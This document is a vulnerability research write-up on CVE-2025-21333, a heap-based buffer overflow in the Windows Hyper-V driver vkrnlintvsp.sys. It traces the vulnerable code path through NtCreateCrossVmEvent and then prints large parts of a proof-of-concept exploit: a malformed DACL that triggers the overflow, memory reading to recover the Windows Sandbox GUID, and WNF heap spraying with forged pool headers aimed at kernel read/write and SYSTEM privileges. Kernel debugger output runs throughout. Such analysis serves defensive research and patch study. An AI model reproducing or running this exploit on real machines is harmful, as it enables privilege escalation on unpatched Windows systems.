CVE-2025–21333 Windows heap-based buffer overflow analysis
CVE-2025–21333 is a vulnerability detected by Microsoft as actively exploited by threat actors. Microsoft patched the vulnerability on January 14th, 2025 with KB5050021 (for Windows 11 23H2/22H2). The vulnerability is a heap-based buffer-overflow in vkrnlintvsp.sys driver.
The examination was carried out on a Windows 11 23H2 system with the following hashes for ntoskrnl.exe and vkrnlintvsp.sys.
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys
Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
The aim of this article is to analyze the vulnerability, develop a proof-of-concept (PoC) exploit, and provide guidance for detection.
The Vulnerability Analysis section examines the vulnerability in detail, explaining how to reach the vulnerable code path to trigger a crash. The Exploitation section describes the process of leveraging the vulnerability to achieve arbitrary read/write access in ring-0 and escalate privileges to SYSTEM. The Limitations and Improvements section discusses the exploit’s constraints and suggests enhancements for the PoC. Meanwhile, the Patch Analysis section provides a brief overview of Microsoft’s applied patch. Finally, the Detection section offers recommendations for identifying potential exploitation attempts.
The full PoC code is available in the GitHub repository.
Note: All code snippets related to Windows components provided here are derived from reverse engineering and may not be entirely accurate.
Requirements
To exploit this vulnerability, Windows Sandbox must be enabled. Below is a screenshot showing all the necessary features activated on the vulnerable Windows machine.

Vulnerability analysis
The vulnerability is located in the kernel-mode driver vkrnlintvsp.sys in the function VkiRootAdjustSecurityDescriptorForVmwp().
VkiRootAdjustSecurityDescriptorForVmwp
Below the pseudocode of VkiRootAdjustSecurityDescriptorForVmwp().
1: _int64 __fastcall VkiRootAdjustSecurityDescriptorForVmwp(void *object, char accessmask_flag)
2: {
3: [...]
4: ret = ObGetObjectSecurity(object, &SecurityDescriptor, &MemoryAllocated);
5: if ( ret >= 0 )
6: {
7: if ( !SecurityDescriptor )
8: goto LABEL_15;
9: ret = RtlGetDaclSecurityDescriptor(SecurityDescriptor, &DaclPresent, &Dacl, DaclDefaulted);
10: if ( ret < 0 )
11: goto LABEL_16;
12: if ( DaclPresent && Dacl )
13: {
14: ret = SeConvertStringSidToSid(L"S-1-5-83-0", &Sid);
15: if ( ret >= 0 )
16: {
17: ret = SeConvertStringSidToSid(
18: L"S-1-15-3-1024-2268835264-3721307629-241982045-173645152-1490879176-104643441-2915960892-1612460704",
19: &sid_bigger);
20: if ( ret >= 0 )
21: {
22: v6 = RtlLengthSid(Sid); // v6 = 0x10
23: v7 = RtlLengthSid(sid_bigger); // v7 = 0x30
24: v8 = Dacl->AclSize + v7 + v6 + 0x10;
25: // PagedPool
26: Pool2 = (struct _ACL *)ExAllocatePool2((POOL_TYPE)0x100, v8, 'oRiV');
27: v4 = Pool2;
28: if ( Pool2 )
29: {
30: // overflow
31: memmove(Pool2, Dacl, Dacl->AclSize);
32: v4->AclSize = v8;
33: [...]
The allocation size in ExAllocatePool2() is determined by v8 (line 26), which is the sum of Dacl->AclSize, v7, v6, and 0x10. The values v6 and v7 are not user-controllable, as they correspond to the return values of RtlLengthSid() on SIDs derived from static strings (lines 22–23).
Dacl->AclSize is retrieved from the Security Descriptor of the object passed as the first parameter to the function. If this value is user-controllable, it could lead to an integer overflow in v8, potentially causing a heap-based overflow in the memory region referenced by Pool2. This occurs due to the memmove() call, where both Dacl and Dacl->AclSize are user-controlled (line 31).
The vulnerable function is invoked by VkiRootCalloutCreateEvent() and VkiRootCalloutCreateMutex().

Credits goes to _4bhishek for doing the patch diffing and initial analysis.
VkiRootCalloutCreateEvent
Below the pseudocode of VkiRootCalloutCreateEvent().
1: __int64 __fastcall VkiRootCalloutCreateEvent(
2: HANDLE *EventHandle,
3: ACCESS_MASK DesiredAccess,
4: POBJECT_ATTRIBUTES ObjectAttributes,
5: ULONG CrossVmEventFlags,
6: GUID *VMID,
7: GUID *ServiceID,
8: char PreviousMode)
9: {
10: [...]
11: memset(&outObjectAttributes, 0, sizeof(outObjectAttributes));
12: if ( CrossVmEventFlags )
13: {
14: ret = 0xC000000D;
15: goto LABEL_27;
16: }
17: if ( !ServiceID || !VMID )
18: {
19: ret = 0xC000000D;
20: goto LABEL_21;
21: }
22: if ( !objectType )
23: {
24: ret = 0xC0000001;
25: goto LABEL_27;
26: }
27: ret = VkiProbeAndGenerateObjectAttributesForCreate(
28: &outObjectAttributes,
29: ServiceID,
30: &a3,
31: &UnicodeString,
32: 1,
33: ObjectAttributes,
34: VMID,
35: ServiceID,
36: PreviousMode);
37: if ( ret < 0 )
38: goto LABEL_21;
39: v13 = (struct _EX_RUNDOWN_REF *)VkiVmContextFind(&a3);
40: v10 = v13;
41: if ( !v13 )
42: {
43: ret = 0xC0000225;
44: goto LABEL_21;
45: }
46: [...]
47: ret = ObCreateObject(0, objectType, &outObjectAttributes, PreviousMode, 0LL, 0x50u, 0, 0, &Object);
48: if ( ret < 0 )
49: goto LABEL_21;
50: [...]
51: v16 = Object;
52: memset(Object, 0, 0x50uLL);
53: [...]
54: ret = ObInsertObject(Object, 0LL, DesiredAccess, 0, 0LL, &Handle);
55: if ( ret < 0 || (ret = VkiRootAdjustSecurityDescriptorForVmwp(Object, 1), ret < 0) )
56: {
57: LABEL_21:
58: if ( Handle )
59: ZwClose(Handle);
60: if ( !v11 )
61: goto LABEL_25;
62: goto LABEL_24;
63: }
64: *EventHandle = Handle;
65: Handle = 0LL;
66: [...]
67: return (unsigned int)ret;
68: }
The function takes multiple parameters as input, including ObjectAttributes, which contains a SecurityDescriptor that, in turn, includes a Dacl.
It first applies several checks to the input parameters before calling VkiProbeAndGenerateObjectAttributesForCreate(). As the name suggests, this function generates a new _OBJECT_ATTRIBUTE structure identical to the one initially provided and stores it in outObjectAttributes.
Next, the function calls VkiVmContextFind(), and if successful, it invokes ObCreateObject(), passing outObjectAttributes as input to create Object. Finally, it calls VkiRootAdjustSecurityDescriptorForVmwp() on the newly created Object.
Kernel Extensions
VkiRootCalloutCreateEvent() is not accessible via IOCTLs. Below is the pseudocode for DriverEntry(), the driver’s entry point.
1: NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
2: {
3: [...]
4: if ( HviIsHypervisorMicrosoftCompatible() )
5: {
6: v4 = VkiRegisterKernelExtension(DriverObject);
7: [...]
8: }
9: [...]
10: }
It calls VkiRegisterKernelExtension() with the following pseudocode.
__int64 __fastcall VkiRegisterKernelExtension(DRIVER_OBJECT *a1)
{
_EX_EXTENSION_REGISTRATION_1 v2; // [rsp+20h] [rbp-28h] BYREF
*(_DWORD *)&v2.FunctionCount = 17;
*(_DWORD *)&v2.ExtensionId = 0x3000F;
v2.DriverObject = a1;
v2.HostTable = 0LL;
v2.FunctionTable = &VkiKernelCalloutTable;
return ExRegisterExtension((_EX_EXTENSION_REGISTRATION_1 *)&extension, 0x10000LL, &v2);
}
It calls ExRegisterExtension() passing as input ExtensionId = 0x3000F and a pointer to VkiKernelCalloutTable. VkiKernelCalloutTable points to an array of callbacks.

Among them stands out VkiRootCalloutCreateEvent().
ExRegisterExtension is an undocumented mechanism used by Microsoft to register drivers with the kernel. It is likely utilized when optional features, such as Windows Sandbox, are added to a Windows instance. This mechanism has already been reverse-engineered and thoroughly explained by Yarden Shafir in this article.
The core concept is that the kernel first calls nt!ExRegisterHost to allocate a data structure, which is then added to the nt!ExpHostList (a linked list). This data structure contains an ExtensionID, a 32-bit identifier for the extension.
When the driver loads, it calls nt!ExRegisterExtension, providing the same ExtensionID and a pointer to an array of callbacks as input. nt!ExRegisterExtension then searches for the corresponding data structure by matching the ExtensionID and updates the structure with the provided pointer.
During system boot, the kernel registers the extension with ExtensionID = 0x3000F by calling nt!ExRegisterHost and passing the global variable VkiExtensionHost_vsp (renamed after reverse engineering) as input. This operation is performed during nt!ExpInitSystemPhase1.

Among the xrefs to VkiExtxensionHost_vsp stands out ExpCreateCrossVmEvent().

ExpCreateCrossVmEvent
Below the pseudocode of ExpCreateCrossVmEvent().
1: __int64 __fastcall ExpCreateCrossVmEvent(
2: HANDLE *pHandle,
3: ACCESS_MASK DesiredAccess,
4: POBJECT_ATTRIBUTES ObjectAttributes,
5: unsigned int CrossVmEventFlags,
6: LPCGUID VMID,
7: LPCGUID ServiceID,
8: char PreviousMode)
9: {
10: [...]
11: v8 = VkiExtxensionHost_vsp;
12: if ( !ServiceID )
13: v8 = ExpCrossVmIntExtensionHostGuest;
14: ExtensionTable = ExGetExtensionTable(v8);
15: if ( ExtensionTable )
16: {
17: v13 = (*(ExtensionTable + 8))(
18: &v15,
19: DesiredAccess,
20: ObjectAttributes,
21: CrossVmEventFlags,
22: VMID,
23: ServiceID,
24: PreviousMode);
25: if ( v13 >= 0 )
26: *pHandle = v15;
27: ExReleaseExtensionTable(v8);
28: }
29: [...]
30: }
The function dereferences ExtensionTable (which corresponds to vkrnlintvsp!VkiRootCalloutTable, the array of registered callbacks) from VkiExtensionHost_vsp and invokes the callback at ExtensionTable + 8. This offset corresponds to the second callback in the array, which is VkiRootCalloutCreateEvent (previously highlighted in image №2).
ExpCreateCrossVmEvent() is called by NtCreateCrossVmEvent(), which is a syscall in ntdll.dll. The function definition is available here.
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateCrossVmEvent(
_Out_ PHANDLE CrossVmEvent,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG CrossVmEventFlags,
_In_ LPCGUID VMID,
_In_ LPCGUID ServiceID
);
Triggering the vulnerability
Based on the previous analysis, calling NtCreateCrossVmEvent() requires passing a pointer to an _OBJECT_ATTRIBUTES structure, which contains a _SECURITY_DESCRIPTOR with a malformed _DACL where the DACL.AclSize field is large enough to trigger a 16-bit integer overflow.
Additionally, the VMID and ServiceID parameters passed to NtCreateCrossVmEvent() must be valid GUIDs. When the user launches the sandbox, it actually starts WindowsSandbox.exe, which then spawns the child process WindowsSandboxClient.exe. Among the parameters passed to WindowsSandboxClient.exe, the ContainerId parameter contains a valid GUID.
The following screenshot from Process Hacker highlights the GUID.

In the first part, the proof of concept initializes the security descriptor and retrieves the DACL associated with the current process by calling GetSecurityInfo().
[...]
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pdacl, NULL, reinterpret_cast<PSECURITY_DESCRIPTOR*>(&psd));
other_ace = reinterpret_cast<ACCESS_ALLOWED_ACE*>((char*)pdacl + sizeof(ACL));
[...]
The proof of concept sets a new DACL in the security descriptor, adjusting the AclSize to 0xfff0 and AceCount to 1. Then, it copies the first ACE from the current process’s DACL into the new DACL. Afterward, it sets the remaining bytes of the DACL to 0x41.
[...]
sd.Dacl = static_cast<PACL>(VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
memset(sd.Dacl, 0x0, 0x10000);
sd.Dacl->AclSize = ROUND_UP(0xfff0, 4);
sd.Dacl->AclRevision = ACL_REVISION;
sd.Dacl->AceCount = 1;
ace = (ACCESS_ALLOWED_ACE*)(sizeof(ACL) + (char*)(sd.Dacl));
memcpy(ace, other_ace, other_ace->Header.AceSize);
ace->Header.AceSize = sd.Dacl->AclSize - sizeof(ACL);
unsigned char* ptr = (unsigned char*)(sd.Dacl) + 0x40;
memset(ptr, 0x41, 0x2000);
[...]
Finally, it sets the created security descriptor in the OBJECT_ATTRIBUTES structure, which will be passed as a parameter.
[...]
InitializeObjectAttributes(&oa, NULL, 0, NULL, &sd);
sd.Control = 0x4;
[...]
In the second part, it obtains pointers to the necessary functions in ntdll.dll, creates the WindowsSandbox.exe process (if not already spawned), and attempts to get a handle to WindowsSandboxClient.exe.
HANDLE GetWinSBXCliProcHandle() {
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return NULL;
}
if (!Process32First(hSnapshot, &pe32)) {
CloseHandle(hSnapshot);
return NULL;
}
do {
if (wcscmp(pe32.szExeFile, L"WindowsSandboxClient.exe") == 0) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
return hProcess;
}
int main(){
[...]
NtCreateCrossVmEvent fNtCreateCrossVmEvent = (NtCreateCrossVmEvent)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateCrossVmEvent"));
[...]
NtQueryInformationProcess fNtQueryInformationProcess = (NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess"));
[...]
hWinsbxclientproc = GetWinSBXCliProcHandle();
if (hWinsbxclientproc == NULL) {
printf("[!] WindowsSandboxClient.exe process not found\n");
std::cout << "[*] spawning windows sandbox" << std::endl;
if (!CreateProcessA("C:\\Windows\\System32\\WindowsSandbox.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
std::cout << "[-] CreateProcessA failed with error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[*] CreateProcessA returned successfully" << std::endl;
while (1) {
Sleep(5000);
hWinsbxclientproc = GetWinSBXCliProcHandle();
if (hWinsbxclientproc != NULL && hWinsbxclientproc != INVALID_HANDLE_VALUE) {
break;
}
}
}
if (hWinsbxclientproc == NULL) {
printf("[-] WindowsSandboxClient.exe process not found\n");
return 1;
}
[...]
Afterward, it retrieves the GUID by accessing the address of the PEB and calling ReadProcessMemory() multiple times.
[...]
if (fNtQueryInformationProcess(hWinsbxclientproc, ProcessBasicInformation, &pbi, sizeof(pbi), &ReturnLength) > 0) {
std::cout << "[-] NtQueryInformationProcess failed with error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[*] NtQueryInformationProcess returned successfully" << std::endl;
std::cout << "[*] peb_addr = " << std::hex << pbi.PebBaseAddress << std::endl;
if (!ReadProcessMemory(hWinsbxclientproc, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
std::cout << "[*] ProcessParameters = " << std::hex << peb.ProcessParameters << std::endl;
if (!ReadProcessMemory(hWinsbxclientproc, peb.ProcessParameters, processParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
std::cout << "[*] CommandLine = " << processParams->CommandLine.Buffer << std::endl;
std::cout << "[*] CommandLine_size = " << processParams->CommandLine.MaximumLength << std::endl;
wchar_t* commandline = new wchar_t[processParams->CommandLine.MaximumLength + 0x2];
ZeroMemory(commandline, processParams->CommandLine.MaximumLength + 0x2);
if (!ReadProcessMemory(hWinsbxclientproc, processParams->CommandLine.Buffer, commandline, processParams->CommandLine.MaximumLength, NULL)) {
std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
return 1;
}
std::wcout << "[*] commandline = " << commandline << std::endl;
std::wstring commandline_wstr(commandline);
delete[] commandline;
//extracting guid
std::wstring w_guid(commandline_wstr.substr(58, 36));
std::wcout << "[*] extracted guid = " << w_guid << std::endl;
// Calculating the length of the multibyte string
size_t len = w_guid.length();
char* s_guid = new char[len + 2];
size_t returnedlength = 0;
wcstombs_s(&returnedlength, s_guid, static_cast<size_t>(len + 2), w_guid.c_str(), len);
std::cout << "[*] s_guid = " << s_guid << std::endl;
HRESULT res = 0;
wchar_t* ws = const_cast<wchar_t*>(w_guid.c_str());
res = UuidFromStringW(reinterpret_cast<RPC_WSTR>(ws), &guid2);
if (res != S_OK) {
std::cout << "[-] IIDFromString failed with error: " << res << std::endl;
return 1;
}
[...]
Finally, It calls NtCreateCrossVmEvent() to trigger a BSOD.
[...]
fNtCreateCrossVmEvent(&hEvent, EVENT_ALL_ACCESS, &oa, 0, &guid2, &guid2);
[...]
Exploitation
By setting a breakpoint at vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158 (just before the memmove() that triggers the overflow), it is possible to observe that the vulnerable object (Tag ViRo) has a size of 0x50.
0: kd> bp vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158
0: kd> g
Breakpoint 0 hit
vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158:
fffff803`138c9b24 e85783ffff call vkrnlintvsp!memcpy (fffff803`138c1e80)
1: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffff838112abfc50 region is Paged pool
[...]
ffff838112abfbf0 size: 50 previous size: 0 (Allocated) BFst
*ffff838112abfc40 size: 50 previous size: 0 (Allocated) *ViRo
Owning component : Unknown (update pooltag.txt)
ffff838112abfc90 size: 50 previous size: 0 (Free) BFst
ffff838112abfce0 size: 50 previous size: 0 (Free) BFst
ffff838112abfd30 size: 50 previous size: 0 (Free) BFst
ffff838112abfd80 size: 50 previous size: 0 (Allocated) BFst
[...]
Therefore, the allocation will be managed by the Low Fragmentation Heap (LFH) of the segment heap in the paged pool. A couple of excellent resources on how to exploit vulnerabilities in the segment heap are the following:
Heap Manipulation
First, it is necessary to manipulate the heap so that the vulnerable object is allocated alongside other controllable objects that also provide relative read/write primitives. One such object is WNF_STATE_DATA, as described here by Alex Plaskett.
The proof of concept begins by allocating 0x2000 WNF_STATE_DATA objects (statenames1), followed by the allocation of another 0x2000 WNF_STATE_DATA objects (statenames2). It then creates holes (every 50 objects) in statenames2, triggers the vulnerable function, and reallocates an additional 0x800 WNF_STATE_DATA objects (statenames3) to cover the holes that were introduced earlier.
[...]
#define STATENAMES1_SIZE 0x2000
#define IORINGS_SIZE 0x500
#define SPRAY_PIPE_COUNT 0x500
#define STATENAMES2_SIZE 0x2000
#define STATENAMES3_SIZE 0x800
[...]
int main(){
[...]
unsigned char* ptr = (unsigned char*)(sd.Dacl) + 0x40;
ULONG DataSize = 0x50 * 0x334; //to read all the tampered objects + 1 not tampered object
//the overflow allows to overwrite the next (0xfff0-0x40)/0x50 = 0x332 objects
int i = 0;
while (1) {
POOL_HEADER* ph = (POOL_HEADER*)(ptr + i * 0x50);
if (ph < (POOL_HEADER*)(sd.Dacl) + 0x1000 - 0x10) {
ph->BlockSize = 0x5;
ph->PoolTag = 0x20666e57;
ph->PoolType = 0xb & ~(1 << 3); //clear PoolQuota bit (bit index 3)
ph->PoolIndex = 0x0;
ph->PreviousSize = 0x0;
ph->ProcessBilled = (PVOID)0x4242424242424242;
}
else {
break;
}
WNF_STATE_DATA* wnf = (WNF_STATE_DATA*)(ptr + i * 0x50 + sizeof(POOL_HEADER));
if (wnf < (WNF_STATE_DATA*)(sd.Dacl) + 0x1000 - 0x10) {
wnf->DataSize = DataSize;
wnf->AllocatedSize = wnf->DataSize;
wnf->ChangeStamp = 1;
unsigned char* data = (unsigned char*)wnf + sizeof(WNF_STATE_DATA);
reinterpret_cast<DWORD64*>(data)[0] = i;
DataSize -= 0x50;
}
else {
break;
}
i++;
}
[...]
//first spraying
for (auto& state : statenames1) {
//std::cout << "state before creation: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
//std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
//std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);
}
//second spraying
for (auto& state : statenames2) {
result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
//std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
//std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);
}
//holes in second spraying
for (int i = STATENAMES2_SIZE - 0x100; i > 0; i -= 50) {
result = fNtDeleteWnfStateData(&(statenames2[i]), NULL);
//std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
//std::cout << "freed state " << std::hex << statenames2[i].Data[0] << statenames2[i].Data[1] << std::endl;
}
//triggering overflow
fNtCreateCrossVmEvent(&hEvent, EVENT_ALL_ACCESS, &oa, 0, &guid2, &guid2);
//third spraying
for (auto& state : statenames3) {
result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
//std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
//std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);
}
[...]
}
Additionally, before spraying, rather than overwriting the objects with 0x41414141, the PoC is modified such that every 0x50 bytes:
- It writes a POOL_HEADER with the PoolQuotaBit = 0 (so that the EPROCESS won’t be checked when freeing the object, as described here by Corentin Bayet and Paul Fariello).
- It writes a WNF_STATE_DATA header such that the DataSize and AllocatedSize fields are between 0x50 and 0xfff0 (allowing for relative read/write primitives).
- It writes a unique value in the first 8 bytes of the WNF_STATE_DATA body so that it can be identified later.
The goal is to achieve a layout like the following before the overflow occurs, with the vulnerable object (Tag ViRo) placed among the WNF_STATE_DATA objects.
0: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffffc40f0d445990 region is Paged pool
ffffc40f0d445020 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445070 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4450c0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445110 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445160 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4451b0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445200 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445250 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4452a0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4452f0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445340 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445390 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4453e0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445430 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445480 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4454d0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445520 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445570 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4455c0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445610 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445660 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4456b0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445700 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445750 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4457a0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4457f0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445840 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445890 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d4458e0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445930 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
*ffffc40f0d445980 size: 50 previous size: 0 (Allocated) *ViRo
Owning component : Unknown (update pooltag.txt)
ffffc40f0d4459d0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445a20 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445a70 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445ac0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445b10 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445b60 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445bb0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445c00 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445c50 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445ca0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445cf0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445d40 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445d90 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445de0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445e30 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445e80 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445ed0 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445f20 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
ffffc40f0d445f70 size: 50 previous size: 0 (Allocated) Wnf Process: ffff8f0adeba90c0
Before the overflow, all the WNF_STATE_DATA objects are filled with 0x41 values.
1: kd> dq @rcx L100
ffffae04`c8385630 00000000`00000000 00000000`00000000
ffffae04`c8385640 00000000`00000000 00000000`00000000
ffffae04`c8385650 00000000`00000000 00000000`00000000
ffffae04`c8385660 00000000`00000000 00000000`00000000
ffffae04`c8385670 20666e57`0b050000 b6870e75`eb10b09c
ffffae04`c8385680 00000030`00100904 00000001`00000030
ffffae04`c8385690 41414141`41414141 41414141`41414141
ffffae04`c83856a0 41414141`41414141 41414141`41414141
ffffae04`c83856b0 41414141`41414141 41414141`41414141
ffffae04`c83856c0 20666e57`0b050000 b6870e75`eb10b02c
ffffae04`c83856d0 00000030`00100904 00000001`00000030
ffffae04`c83856e0 41414141`41414141 41414141`41414141
ffffae04`c83856f0 41414141`41414141 41414141`41414141
ffffae04`c8385700 41414141`41414141 41414141`41414141
ffffae04`c8385710 20666e57`0b050000 b6870e75`eb10b1fc
ffffae04`c8385720 00000030`00100904 00000001`00000030
ffffae04`c8385730 41414141`41414141 41414141`41414141
ffffae04`c8385740 41414141`41414141 41414141`41414141
ffffae04`c8385750 41414141`41414141 41414141`41414141
ffffae04`c8385760 20666e57`0b050000 b6870e75`eb10b18c
ffffae04`c8385770 00000030`00100904 00000001`00000030
ffffae04`c8385780 41414141`41414141 41414141`41414141
ffffae04`c8385790 41414141`41414141 41414141`41414141
ffffae04`c83857a0 41414141`41414141 41414141`41414141
ffffae04`c83857b0 20666e57`0b050000 b6870e75`eb10b15c
ffffae04`c83857c0 00000030`00100904 00000001`00000030
ffffae04`c83857d0 41414141`41414141 41414141`41414141
ffffae04`c83857e0 41414141`41414141 41414141`41414141
ffffae04`c83857f0 41414141`41414141 41414141`41414141
ffffae04`c8385800 20666e57`0b050000 b6870e75`eb10beec
ffffae04`c8385810 00000030`00100904 00000001`00000030
ffffae04`c8385820 41414141`41414141 41414141`41414141
ffffae04`c8385830 41414141`41414141 41414141`41414141
ffffae04`c8385840 41414141`41414141 41414141`41414141
ffffae04`c8385850 20666e57`0b050000 b6870e75`eb10bebc
ffffae04`c8385860 00000030`00100904 00000001`00000030
ffffae04`c8385870 41414141`41414141 41414141`41414141
ffffae04`c8385880 41414141`41414141 41414141`41414141
ffffae04`c8385890 41414141`41414141 41414141`41414141
ffffae04`c83858a0 20666e57`0b050000 b6870e75`eb10be4c
ffffae04`c83858b0 00000030`00100904 00000001`00000030
ffffae04`c83858c0 41414141`41414141 41414141`41414141
ffffae04`c83858d0 41414141`41414141 41414141`41414141
ffffae04`c83858e0 41414141`41414141 41414141`41414141
ffffae04`c83858f0 20666e57`0b050000 b6870e75`eb10be1c
